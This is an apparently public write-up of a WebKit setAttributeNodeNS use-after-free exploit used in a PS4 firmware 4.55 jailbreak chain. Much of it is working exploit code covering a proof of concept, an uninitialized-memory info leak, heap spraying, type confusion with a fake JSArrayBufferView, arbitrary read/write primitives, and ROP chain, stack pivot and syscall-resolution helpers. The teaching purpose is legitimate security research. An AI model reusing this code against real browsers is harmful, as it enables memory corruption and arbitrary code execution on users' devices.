Skip to content

Latest commit

 

History

History
636 lines (513 loc) · 31.9 KB

setAttributeNodeNS UAF Write-up.md

File metadata and controls

636 lines (513 loc) · 31.9 KB

Note: While I exploited this bug on the PS4, this bug can also be exploited on other unpatched platforms. As such, I've published it under the "WebKit" folder and not the "PS4" folder.

Introduction

In around October of 2017, a few others as well as myself were looking through project zer0 bugs to see which ones could work on the latest FW of the PlayStation 4, which at the time was 5.00. I stumbled across the setAttributeNodeNS bug, and happily (with a majority of the work being done by qwertyoruiopz), we were able to achieve userland code execution in WebKit. While we were writing this exploit, qwerty helped me understand what was happening, and I ended up learning a lot from it, so I hope through this write-up, those interested could learn about WebKit internals - I've tried to ensure the write-up is for the most part beginner friendly. The exploit was patched in firmware 5.03. This write-up will only cover the userland aspect of the 4.55 full jailbreak chain, however you can find the kernel part here (to be released at a later date).

The PoC (proof-of-concept)

The proof of concept for this exploit can be found on the Chromium bug page. This bug was reported by lokihardt from Google Project Zer0. The bug can be found in Element::setAttributeNodeNS(). Let's take a look at a code snippet:

ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
  ...
  setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
  attrNode.attachToElement(*this);
  treeScope().adoptIfNeeded(attrNode);
  ensureAttrNodeListForElement(*this).append(&attrNode);
  return WTFMove(oldAttrNode);
}

Notice that the function calls setAttributeInternal() before inserting / updating a new attribute. As stated by the bug description, setAttributeNodeNS() can be called again through setAttributeInternal(). If this happens, two attribute nodes (Attr) will have the same owner element. If one were to be free()'d, the other attribute will hold a stale reference, thus allowing a use-after-free (UAF) scenario. Let's take a look at the PoC:

<body>
<script>
function gc() {
  for (let i = 0; i < 0x40; i++) {
    new ArrayBuffer(0x1000000);
  }
}
window.callback = () => {
  window.callback = null;
  d.setAttributeNodeNS(src);
  f.setAttributeNodeNS(document.createAttribute('src'));
};
let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';
let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;
gc();
alert(d.attributes[0].ownerElement);
</script>

In environments where the bug is unpatched, alert() will report an instance of the iframe object. In patched environments, the code will fail and hit an exception, because d should be undefined. I am happy to say that alert() will report an instance of the iframe object up to and including firmware 5.02.

Important Note about WebKit Heap

WebKit sections it’s heap into arenas. The purpose of these arenas is not only to organize objects in their own pools, but to also mitigate heap exploits by controlling what type of objects you can corrupt in your immediate arena. The object we have a use-after-free for is an iframe object, which is fastmalloc()'d. This will be in the WebCore arena. WebCore objects are not too interesting for primitives, our eventual goal is to obtain a read/write primitive via a misaligned uint32array. We need to move from WebCore heap corruption to JSCore heap corruption. Keep this in mind for the rest of the exploit, as it is a vital to it’s success.

Stage 1: Information Leak

Introduction

We need to leak a pointer to a JSValue in the JSCore heap that we want to corrupt. Unfortunately our leak is also a WebCore leak as the backing memory is fastmalloc()’d, so we need an object that is both fastmalloc()’d and contains pointers into the JSCore heap. MarkedArgumentBuffer is a great target.

For more information on MarkedArgumentBuffer and how it can be used in exploits, see the Pegasus write-up.

Vector: postMessage()

We can create an "ImageData" object (see ImageData) and call postMessage() with a null message and no origin preference, and use our instance of the ImageData object as the transfer. By then pushing the state of the object into the session history, the backing memory for the ImageData.data object is allocated but not initialized. We can actually access this backing memory via history.state.data.buffer as a Uint32array. This means not only can we access uninitialized heap memory, we can control the size of the leak. We can setup the heap to leak a JSObject. Creating our own JSObject is very trivial, and can be done like so:

var tgt = {a:0,b:0,c:0,d:0};

We can then spray the heap with our JSObject of tgt and leak it using the ImageData object's backing memory, .data.buffer.

var y = new ImageData(1, 0x4000);
postMessage("", "*", [y.data.buffer]);
var props = {};

for (var i=0; i<0x4000/(2); )
{
  props[i++] = {value:0x42424242};
  props[i++] = {value:tgt};
}

// ...

history.pushState(y,"");
Object.defineProperties({}, props);
var leak = new Uint32Array(history.state.data.buffer);

Leaking a JSValue

Our goal of this leak is to be able to leak a JSValue, but how can we do this? The answer is JSObjects. We can easily create one, and not only will this object allow us to leak JSValues, but we will also use it in a later stage to obtain a read/write primitive (more on that later). For now, let's look at how JSObjects look in memory (for more information on JSObject internals, see the "Attacking Javascript Engines" paper by Saelo@Phrack). I've written it as a C structure in pseudocode and provided the offsets as comments, in reality it's a bit more complex, but the concept remains.

struct JSObject {
  JSCell cell; // 0x00
  Butterfly *butterfly; // 0x08
  JSValue *prop_slot_1; // 0x10
  JSValue *prop_slot_2; // 0x18
  JSValue *prop_slot_3; // 0x20
  JSValue *prop_slot_4; // 0x28
}

For this write-up, we will mostly ignore the "cell" and "butterfly" members. Just know that "cell" contains the object's type, structure ID, and some flags. The butterfly pointer will be null, because since we are only using 4 properties, a butterfly is not needed.

Notice how we have access to JSValue pointers in offsets 0x10 - 0x30? We're going to use slot 2 (labelled 'b' in the target object) to leak JSValues. As a reminder, here's a definition of target:

var tgt = {a:0,b:0,c:0,d:0};

To leak the JSValue from 'b', we will need to put our target object inside some other object that we can spray on the heap, such as a MarkedArgumentBuffer. If we set some properties of the object to our target JSObject tgt, we will be able to leak it in memory, as it will be inlined.

If we add less than 8 properties, the object will be allocated on the stack (this is for performance reasons). We need our object to be in the heap. Additionally, larger objects are used less and are therefore more reliable, so we will add 0x4000 properties to our MarkedArgumentBuffer object. In our spray, we will set every second element to 0x42424242 (“BBBB”) and every other element to tgt. This will allow us to both ensure the integrity of the leak (by checking against 0x42424242) and allow us to extract information out of our JSObject. The exploit further verifies that we’re leaking the correct object by checking the JSObject's properties against known values.

for (var i=0; i < leak.length - 6; i++)
{
  if (leak[i] == 0x42424242 &&
      leak[i+1] == 0xffff0000 &&
      leak[i+2] == 0 &&
      leak[i+3] == 0 &&
      leak[i+4] == 0 &&
      leak[i+5] == 0 &&
      leak[i+6] == 14 &&
      leak[i+7] == 0 &&
      leak[i+10] == 0 &&
      leak[i+11] == 0 &&
      leak[i+12] == 0 &&
      leak[i+13] == 0 &&
      leak[i+14] == 14 &&
      leak[i+15] == 0)
  {
    foundidx = i;
    foundleak = leak;
    break;
  }
}

Keep in mind leak is a Uint32array, meaning each element is 32-bits wide. Index 0 and 1 contain the JSValue of our 0x42424242 immediate value (index 1 is set to 0xFFFF0000 because this is the upper prefix for a 32-bit integer). Also keep in mind we're in Little Endian, which is why element 0 contains the lower 32-bits of the JSValue and element 1 the upper 32-bits.

Notice that we can leak the JSValue of the second property ('b') of the JSObject at index 8 and 9 (6 indexes * 4 bytes = 0x18 (prop_slot_2) + 0x08 for the 0x42424242 JSValue).

var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakval = new int64(firstleak[8], firstleak[9]);
leakval.toString();

Stage 2: Trigger UaF

Introduction

Because we maintain a double reference to the iframe, when it is free()'d by garbage collection, one reference will be cleared however the other will not be. This allows us to maintain a stale reference. This is important, because we can corrupt the backing JSObject of the iframe object by spraying the heap, and control the behavior of how the stale object is used. For instance, we can control the size of the buffer, the pointer to the backing memory (called "vector"), and the butterfly.

Memory Pressure

Now that we've leaked a JSValue, we're going to trigger the free() on our iframe by applying memory pressure to force garbage collection by calling dgc(). dgc() is defined as the following:

var dgc = function() {
  for (var i = 0; i < 0x100; i++) {
    new ArrayBuffer(0x100000);
  }
}

f.name = "lol";
f.setAttributeNodeNS(src);
f.remove();

f = null;
src = null;
nogc.length=0;
dgc();

Stage 3: Heap Spray

Introduction

The JSObject representing our iframe is free, as well as it's butterfly. Again, iframe objects are fastmalloc()'d, meaning our spray vector must also be fastmalloc()'d. Our old friend ImageData does the trick. We cannot allocate Uint32Array's of size 0x90 and have it fastmalloc()'d, but we need to access the data via a Uint32Array. We can get around this by first spraying a bunch of ImageData objects on the heap (Uint8Array) then converting to Uint32Arrays after. On the heap, iframe objects are of size 0x90 on the PS4. We can control the size of the MarkedArgumentBuffer we spray via the ImageData "width" and "height" parameters. Since each value is represented by 32-bits (or 4 bytes) and ImageData is backed by a Uint8Array, we divide the height by 4.

for (var i=0; i < 0x10000; i++)
{
  objs[i] = new ImageData(1,0x90/4);
}
for (var i=0; i < 0x10000; i++)
{
  objs[i] = new Uint32Array(objs[i].data.buffer);
}

Memory Corruption

Now we've sprayed the heap with a bunch of objects, but we haven't really corrupted memory yet. Our next task is to loop through all the objects we created, and set their butterfly values to leakval + 0x1C. This will allow us to smash the butterfly easily via the 'b' property of the target. Notice we're overwriting indexes 2 and 3 as each index is 32-bits wide, so index 2 is offset 0x8 (which is the lower 32-bits of the butterfly) and index 3 is offset 0xC (which is the upper 32-bits of the butterfly).

for (var i=0; i<objspray; i++)
{
  objs[i][2] = leakval.low + 0x18 + 4;
  objs[i][3] = leakval.hi;
}

Stage 4: Misaligning JSValues

Introduction

Our next objective is to misalign a JSValue so we can control the JSObject's JSCell, Butterfly, Vector, and Length. We can do this by taking the leaked JSValue we have from the infoleak and add 0x10 to the pointer. This will allow us to create a fake JSArrayBufferView inside the JSObject's inline property storage, and control meta-data that we otherwise could not control.

(credits: qwertyoruiopz)

Note

Notice in the screenshot that the structure of "Uint32Array" differs slightly from a JSObject. To avoid confusion, we will refer to this "Uint32Array" meta-data structure as JSArrayBufferView (which is the class that Float64Array's inherit) to avoid confusing it with the Uint32Array type.

Misalign + Type Confusion

First, we'll grab a pointer to our fake JSArrayBufferView. As mentioned earlier, we're going to create it via the target's properties at offset 0x10, so we can take the leaked value and add 0x10 to it.

var craftptr = leakval.sub32(0x10000 - 0x10)

This line may seem strange at first, but notice that due to double encoding, this line translates to leakval.sub32(-0x10), or simply leakval.add32(0x10). Then we need to fake the JSCell of a JSObject using the target's first property, and fake the butterfly to point to the leaked object itself, and the vector to the upper 32-bits of the leaked object. What we are essentially doing here is creating Type Confusion in the heap via the JSCell to create a fake JSArrayBufferView.

tgt.a = u2d(2048, 0x1602300);
tgt.b = u2d(0,craftptr.low);
tgt.c = craftptr.hi;

Stage 5: Read/Write Primitive

Introduction

Read/Write primitives are very powerful, and can allow us to later obtain code execution. For a R/W primitive, we need two buffers. The first is a master, this will allow us to set the address to write to in the case of writing, or the address to read from in the case of reading. The second is a slave, which will either be used to set the value at the master's address if writing, or read the value from the master's address if reading. We will also allocate a third buffer that will be used to help leak JSValues.

var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);

Important Note

The following bit can be confusing if you don't understand this section. While tgt and stale currently overlap, they don't stay that way. By writing to tgt.c, we control where stale points. This means in the following section, when you see something such as the following:

tgt.c = master;
stale[4] = leakval_u32[0];
stale[5] = leakval_u32[1];

The first line sets stale to the JSArrayBufferView of the master Uint32array, and the second and third sets the "vector" pointer of the master's JSArrayBufferView. This means we can control properties of the JSArrayBufferView via stale. Below is a diagram to provide a visual aid.

Read/Write Primitives

We're going to create a fake JSArrayBufferView inside the JSObject that we've set. This is trivial, we just need to change tgt.a's JSCell ID to that of a JSArrayBufferView, and treat b, c, and d as butterfly, vector, and length respectively.

var leakval_helper = [slave,2,3,4,5,6,7,8,9,10];

tgt.a = u2d(4096, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;

Notice we're setting the fake JSArrayBufferView's vector to a real JSArrayBufferView (leakval_helper). The first value is set to the slave buffer for leaking JSValues, the rest of the values are filler to ensure that a butterfly is allocated. Before we setup our primitives, we need to setup the handles to the buffers they will be using. First we'll store the butterfly's value from leakval_helper's JSArrayBufferView - this is primarily used for creating and leaking JSValues, which is important later for gaining code execution.

tgt.c = leakval_helper;
var butterfly = new int64(stale[2], stale[3]);

We'll want to setup some buffers to help us leak and create JSValues. We'll do this by setting tgt.c to the address of the leakval_32 buffer we setup earlier. First we'll want to store the old "vector" value so we can restore it later. Then we will set the "vector" to leakval_helper's butterfly which has the slave buffer.

tgt.c = leakval_u32;
var lkv_u32_old = new int64(stale[4], stale[5]);

stale[4] = butterfly.low;
stale[5] = butterfly.hi;

Now we want to setup the buffers for our read/write primitive. By setting master's "vector" to the address of the slave Uint32Array, we can easily establish a read/write primitive. We can control where slave points via the "vector" of master. Therefore, by setting up master[4] and master[5] with the address of where we want to write, and slave[0] and slave[1] with the value we want to write, we can establish a write primitive. Similarily, by setting up master[4] and master[5] with the address of where we want to read from, we can retrieve our value from slave[0], and slave[1] as well if the value is a 64-bit value.

tgt.c = master;
stale[4] = leakval_u32[0]; // 'slave' read from butterfly of leakval_u32
stale[5] = leakval_u32[1];

var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
stale[4] = lkv_u32_old.low;
stale[5] = lkv_u32_old.hi;

var prim = {
  write8: function(addr, val)
  {
    master[4] = addr.low;
    master[5] = addr.hi;
    if (val instanceof int64)
    {
      slave[0] = val.low;
      slave[1] = val.hi;
    } else {
      slave[0] = val;
      slave[1] = 0;
    }
    master[4] = addr_to_slavebuf.low;
    master[5] = addr_to_slavebuf.hi;
  },
  write4: function(addr, val)
  {
    master[4] = addr.low;
    master[5] = addr.hi;
    slave[0] = val;
    master[4] = addr_to_slavebuf.low;
    master[5] = addr_to_slavebuf.hi;
  },
  read8: function(addr)
  {
    master[4] = addr.low;
    master[5] = addr.hi;
    var rtv = new int64(slave[0], slave[1]);
    master[4] = addr_to_slavebuf.low;
    master[5] = addr_to_slavebuf.hi;
    return rtv;
  },
  read4: function(addr)
  {
    master[4] = addr.low;
    master[5] = addr.hi;
    var rtv = slave[0];
    master[4] = addr_to_slavebuf.low;
    master[5] = addr_to_slavebuf.hi;
    return rtv;
  }

  // ...
}

JSValue Leak/Create Primitives

Notice that earlier we ensured a butterfly was created for leakval_helper by setting up more than 4 values. Also notice that we've set leakval_32 up so that we can write to leakval_helper's own butterfly, as we've set tgt.c to leakval_helper and set it's backing JSObject's "vector" to butterfly.

tgt.c = leakval_helper;
// ...
var butterfly = new int64(stale[2], stale[3]);
tgt.c = leakval_u32;
// ...
stale[4] = butterfly.low;
stale[5] = butterfly.hi;

Below is a snippet of how butterflies are structured, this was taken from the Phrack paper "Attacking Javascript Engines":

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

Notice how elem0 is accessible by accessing index 0 due to where the object references the butterfly. This is why using leakval_u32 to set the master vector to slave works, because slave is at the zero-index. This means that the variable butterfly and leakval_helper[0] will be equivalent. If we place a JSValue in leakval_helper[0], we can retrieve it's address by using our read() primitive on butterfly. Similarily, we can create a JSValue by writing it to the butterfly, and retrieving it via leakval_helper[0]. This allows us to convert bytes to JSValues and JSValues to bytes.

var prim = {
  // ... read/write primitives

  leakval: function(jsval)
  {
    leakval_helper[0] = jsval;
    var rtv = this.read8(butterfly);
    this.write8(butterfly, new int64(0x41414141, 0xffffffff));
    
    return rtv;
  }

  createval: function(jsval)
  {
    this.write8(butterfly, jsval);
    var rt = leakval_helper[0];
    this.write8(butterfly, new int64(0x41414141, 0xffffffff));
    return rt;
  }
}

Stage 6: Code Execution (ROP)

Introduction

Due to NX and lack of permissions for JiT memory, we have to run our kernel exploit in a ROP chain. This section mostly covers how ROP chains work for those who are newer to exploitation, but also focuses on some of the specifics of how the chain is launched.

The idea of a ROP chain is simple. If we cannot write our own instructions and execute them, we can write instruction sequences using snippets of code that are already available to us from the program to accomplish a similar goal (these are often called "gadgets"). This concept is often referred to as a "code re-use" attack, or more commonly "return-oriented programming", which is abbreviated to "ROP" for brevity's sake. The idea is we control the instruction pointer and make it jump from 1 gadget to another to another. To do this, each gadget must end with a 0xC3 opcode, which in x86/x86_64 is a "ret" instruction. Gadgets can also end with "jmp" instructions, but these are not typically used because not only are gadgets much more limited, but "jmp"'s cannot always be controlled by the attacker.

Faking a Stack

So how do we create a chain to put our instruction sequences in? We can create a fake stack and ensure the pointer to our fake stack finds it's way into the RSP (stack pointer) register. When the next ret instruction is hit, our fake stack will be used. This is called a "stack pivot", an optimal stack pivot allows you to set both RSP and RIP (instruction pointer) registers.

First we should create a set of functions that allows us to easily create and manage ROP chains. This function will have methods such as "push" and "syscall" to push the necessary information on the stack to do the action specified. Technically we could do these all manually every time we want to initiate a syscall, but this is unmanagable and creating a class of functions to manage this makes a lot more sense. We'll also want to allocate the backing memory of the stack, a Uint32Array is a good candidate for this. We want to also create a pointer that points to the base of the fake stack, like an RBP register. Naturally we'll need to set this to the address of the Uint32Array in memory. Thankfully due to the primitives we setup earlier, leaking the address of this array is trivial, as we can leak the Uint32Array's backing JSArrayBufferView and dereference the address at offset 0x10. The count variable will act as RSP, and will keep track of where we are in the stack.

window.RopChain = function () {
  this.ropframe = new Uint32Array(0x10000);
  this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
  this.count = 0;

  // ...
}

The ability to reset the ROP chain will also be helpful. After every run of the ROP chain, we can reset the count and zero the backing memory to ensure the next chain runs without issue.

this.clear = function() {
  this.count = 0;
  this.runtime = undefined;
  for (var i = 0; i < 0xff0/2; i++)
  {
    p.write8(this.ropframeptr.add32(i*8), 0);
  }
};

We will also want the ability to easily push values or gadgets into the ROP chain. These functions will not only write these values into the ROP chain, but will also implicitly keep track of count to prevent corrupting the stack.

this.pushSymbolic = function() {
  this.count++;
  return this.count-1;
}

this.finalizeSymbolic = function(idx, val) {
  p.write8(this.ropframeptr.add32(idx*8), val);
}

this.push = function(val) {
  this.finalizeSymbolic(this.pushSymbolic(), val);
}

this.push_write8 = function(where, what)
{
  this.push(gadgets["pop rdi"]); // pop rdi
  this.push(where); // where
  this.push(gadgets["pop rsi"]); // pop rsi
  this.push(what); // what
  this.push(gadgets["mov [rdi], rsi"]); // perform write
}

Finally, we want a function that can allow us to easily call functions by address. This function is fairly trivial, it essentially just sets up the argument registers and pushes the function pointer on the stack. In x86_64 ABI, the following arguments correspond to the following registers:

Argument 1 = RDI
Argument 2 = RSI
Argument 3 = RDX
Argument 4 = RCX
Argument 5 = R8
Argument 6 = R9

To save space on our fake stack, the fcall function we create will only push instructions for setting up registers that we actually define. We will also be calling system calls through fcall. Because Sony no longer allows us to call system call 0 to specify the call number, we'll call the syscall wrappers provided to us from libkernel_web.sprx.

this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
  if (rdi != undefined) {
    this.push(gadgets["pop rdi"]); // pop rdi
    this.push(rdi); // what
  }
  if (rsi != undefined) {
    this.push(gadgets["pop rsi"]); // pop rsi
    this.push(rsi); // what
  }
  if (rdx != undefined) {
    this.push(gadgets["pop rdx"]); // pop rdx
    this.push(rdx); // what
  }
  if (rcx != undefined) {
    this.push(gadgets["pop rcx"]); // pop r10
    this.push(rcx); // what
  }
  if (r8 != undefined) {
    this.push(gadgets["pop r8"]); // pop r8
    this.push(r8); // what
  }
  if (r9 != undefined) {
    this.push(gadgets["pop r9"]); // pop r9
    this.push(r9); // what
  }
  this.push(rip); // jmp
  return this;
}

Stack Pivotting

So we've setup a fake stack, but how do we actually make our chain run? This is accomplished by the fairly complex function p.loadchain(). For the sake of brevity, I won't cover all of what the function does as much of it is context saving stuff. I will not go as in-depth in this portion as I did the core of the exploit, but I will cover it briefly. Since we have a leakval primitive to leak JSValues, we can easily use this to leak function pointers. Functions in JavaScript are represented by objects, and the function's pointer is located at offset 0x18. We can then add 0x40 to this dereferenced value to skip the header.

p.leakfunc = function(func)
{
  var fptr_store = p.leakval(func);
  return (p.read8(fptr_store.add32(0x18))).add32(0x40);
}

Now that we have a primitive to leak JS function pointers, we can choose a target function and overwrite it's function pointer to jump to where we please. Since we used parseFloat() earlier for defeating ASLR, we can use it again. We first want to save register context, we can do this using the setjmp() funcion in libc. This however requires us to set rdi as well, so we'll call a "jop" sequence to get there.

// JOP
0:  48 8b 7f 48             mov    rdi,QWORD PTR [rdi+0x48]
4:  48 8b 07                mov    rax,QWORD PTR [rdi]
7:  48 8b 40 30             mov    rax,QWORD PTR [rax+0x30]
b:  ff e0                   jmp    rax

The reenter_help function is then called via Array.prototype.splice.apply(reenter_help); to perform the stack pivot. The stack pivot is performed by leaking the address of the fake stack's pointer and popping it into the rsp register.

var reenter_help = {length: {valueOf: function(){
  orig_reenter_rip = p.read8(stackPointer);
  stackCookie = p.read8(stackPointer.add32(8));
  var returnToFrame = stackPointer;

  var ocnt = chain.count;
  chain.push_write8(stackPointer, orig_reenter_rip);
  chain.push_write8(stackPointer.add32(8), stackCookie);

  if (chain.runtime) returnToFrame=chain.runtime(stackPointer);

  chain.push(gadgets["pop rsp"]); // pop rsp
  chain.push(returnToFrame); // -> back to the trap life
  chain.count = ocnt;

  p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
  p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame
}}};

Function Calling

Earlier we established a function called fcall in our ROP chain primitive to pop values into registers defined by the AMD64 ABI and push the function pointer on the stack to initiate a call. We will now create a wrapper that calls this function, but also additionally allows us to retrieve the return value. As defined in the ABI, returned values are always stored in the rax register, so by moving it into a memory address in our address space, we can easily retrieve it using our read primitive.

p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
  chain.clear();
  
  chain.notimes = this.next_notime;
  this.next_notime = 1;

  chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
  
  chain.push(window.gadgets["pop rdi"]); // pop rdi
  chain.push(chain.stackBase.add32(0x3ff8)); // where
  chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
  
  chain.push(window.gadgets["pop rax"]); // pop rax
  chain.push(p.leakval(0x41414242)); // where
  
  if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
  
  return p.read8(chain.stackBase.add32(0x3ff8));
}

System Calls

As mentioned earlier, we cannot directly issue syscall instructions anymore in our ROP chains. We can however, call the wrappers provided to us to access them via the libkernel_web.sprx module. We can dynamically resolve syscall wrappers by reading the bytes to see if they match the structure of a syscall wrapper. This is far better compared to the past when we would have to reverse the libkernel module and add offsets manually for the system calls we needed, now we just need to keep a list of the syscall names if we want to call them by name. This list is kept in syscalls.js.

// Dynamically resolve syscall wrappers from libkernel
var kview = new Uint8Array(0x1000);
var kstr = p.leakval(kview).add32(0x10);
var orig_kview_buf = p.read8(kstr);

p.write8(kstr, window.moduleBaseLibKernel);
p.write4(kstr.add32(8), 0x40000);

var countbytes;
for (var i=0; i < 0x40000; i++)
{
  if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
  {
    countbytes = i;
    break;
  }
}
p.write4(kstr.add32(8), countbytes + 32);

var dview32 = new Uint32Array(1);
var dview8 = new Uint8Array(dview32.buffer);
for (var i=0; i < countbytes; i++)
{
  if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
  {
    dview8[0] = kview[i+3];
    dview8[1] = kview[i+4];
    dview8[2] = kview[i+5];
    dview8[3] = kview[i+6];
    var syscallno = dview32[0];
    window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i);
  }
}

Our system call primitive wrapper will simply locate the offset for a given system call by the window.syscalls array and issue an fcall to it.

p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) {
  if (typeof sysc == "string") {
    sysc = window.syscallnames[sysc];
  }

  if (typeof sysc != "number") {
    throw new Error("invalid syscall");
  }
  
  var off = window.syscalls[sysc];

  if (off == undefined) {
    throw new Error("invalid syscall");
  }
  
  return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
}

Conclusion

For a seasoned webkit attacker, this bug is trivial to exploit. For non-seasoned ones such as myself however, working with WebKit to leverage a read/write primitive from WebCore heap corruption can be confusing and challenging. I hope through this write-up that it can help other researchers new to webkit to understand a bit of the magic that happens behind webkit exploitation, as without understanding fundamental data structures such as JSObjects and JSValues, it can be difficult to make sense of what's happening. This is why I focused the core of the write-up on going from heap corruption to obtaining a read/write primitive, and how type confusion with internal objects can be used to achieve it.

In the next section (yet to be published), we will cover the kernel exploit portion of the 4.55 jailbreak chain. While this WebKit exploit will work on 5.02 and lower, the kernel exploit will only work on firmware 4.55 and lower.

Credits

qwertyoruiopz

Lokihardt

References

Chromium Bug #169685 reported by lokihardt@google.com

Attacking Javascript Engines by sealo

Technical Analysis of the Pegasus Exploits on iOS by Lookout